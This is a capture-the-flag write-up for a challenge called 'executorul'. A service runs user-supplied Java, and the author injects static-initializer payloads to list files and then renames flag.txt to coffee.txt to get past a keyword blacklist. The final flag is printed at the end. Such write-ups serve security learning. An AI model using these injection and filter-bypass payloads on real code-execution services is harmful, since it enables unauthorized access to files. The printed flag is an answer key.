# executorul

| Info     | Details |
| -------- | ------- |
| Category | Misc    |

## Challenge Overview

> Opening the connection with `nc` we see this:

![](https://3350216265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8aLNxke1qPtepwlrf6VI%2Fuploads%2FOM6Ak8EAtxAOcZAxt2zP%2Fcode.png?alt=media\&token=3012f8f7-81ac-475e-9afe-0607ee2272e8)

> I analyzed `main.py` file and the first thing that catched my eyes was

<figure><img src="https://3350216265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8aLNxke1qPtepwlrf6VI%2Fuploads%2FL2ZZveAHgspoG6ypxcqP%2Fnot%20unrelated.png?alt=media&#x26;token=43b15cdb-a843-40d7-9a09-70405abdfddf" alt=""><figcaption></figcaption></figure>

It simply says that before anything happens, the app opens `"coffee.txt"` as an "aesthetic image". It's a bait that this is unrelated to the challenge :))

I discovered that payloads like these are working, and help us a bit to know where we are, what files are in the current dir, etc.:

```java
static{System.out.println(System.getProperty("user.dir"));}
```

*response:* `/app`

```java
static{for(String f:new java.io.File(".").list())System.out.println(f);}
```

*response:*

```
Main.java  
Main.class  
coffee.txt  
flag.txt  
.dockerignore  
main.py  
```

But nothing revealed the `flag.txt` content because the`try, catch` method which we need to print the flag in `Java`, is in the blacklist words.

\
So the key here is to know exactly what `main.py` does. It opens that file which seems to be ASCII, because `coffee.txt` isn't a real photo (jpg/png), but an ASCII art picture.

> The correct approach was to **rename `flag.txt` to `coffee.txt`**, in order to overwrite it. This works because both files are `ASCII Text`, and we're allowed to rename files.

Payload used:

```java
static{new java.io.File("flag.txt").renameTo(new java.io.File("coffee.txt"));}
```

<figure><img src="https://3350216265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8aLNxke1qPtepwlrf6VI%2Fuploads%2Fn5LHM7fafdiVrBGyPyZ2%2Fsolved.png?alt=media&#x26;token=6fb69c6a-9806-4985-a1d0-bccc654e2f4a" alt=""><figcaption></figcaption></figure>

## Final Flag

`OSC{260bb074254fdcf2ab77a4b09339fbdb60c451161edaf46e6df60e0f342730cb}`&#x20;

*made by k0d*
